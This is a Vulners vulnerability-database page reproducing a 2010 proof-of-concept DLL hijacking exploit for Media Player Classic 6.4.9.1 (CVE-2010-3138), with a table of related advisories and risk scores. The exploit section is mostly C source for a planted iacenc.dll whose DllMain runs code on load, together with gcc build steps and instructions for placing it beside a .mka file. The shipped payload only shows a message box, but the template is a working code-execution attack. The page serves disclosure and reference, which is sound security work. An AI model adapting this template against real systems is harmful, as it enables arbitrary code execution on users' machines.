Vulners
Lucene search
Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2010-3138 | 25 Aug 201000:00 | – | circl |
 | Microsoft Windows Indeo Codec Insecure Library Loading (MS12-014; CVE-2010-3138) | 14 Feb 201200:00 | – | checkpoint_advisories |
 | CVE-2010-3138 | 27 Aug 201018:10 | – | cve |
 | CVE-2010-3138 | 27 Aug 201018:10 | – | cvelist |
 | CVE-2010-3138 | 27 Aug 201019:00 | – | nvd |
 | Microsoft Windows Indeo Codec Remote Code Execution Vulnerability (2661637) | 15 Feb 201200:00 | – | openvas |
| MS Windows Indeo Codec Remote Code Execution Vulnerability (2661637) | 15 Feb 201200:00 | – | openvas |
 | Design/Logic Flaw | 27 Aug 201019:00 | – | prion |
 | Microsoft Windows multiple security vulnerabilities | 10 Mar 201200:00 | – | securityvulns |
 | MS12-014: Vulnerability in Indeo Codec Could Allow Remote Code Execution (2661637) | 14 Feb 201200:00 | – | nessus |
10
<html><body><p>/*
Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit
Vendor: Gabest
Product Web Page: http://sourceforge.net/projects/guliverkli
Affected Version: 6.4.9.1 (revision 73)
Summary: Media Player Classic (MPC) is a compact media player for
32-bit Microsoft Windows. The application mimics the look and feel
of the old, lightweight Windows Media Player 6.4 but integrates
most options and features found in modern media players. It and
its forks are standard media players in the K-Lite Codec Pack and
the Combined Community Codec Pack.
Desc: Media Player Classic suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local
level. The vulnerable extensions are .mka, .ra and .ram thru iacenc.dll
library.
----
gcc -shared -o iacenc.dll mplayerc.c
Compile and rename to iacenc.dll, create a file test.mka or any of the
above vulnerable extensions and put both files in same dir and execute.
----
Tested on Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
25.08.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}</windows.h></p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Aug 2010 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 29.3
EPSS0.43265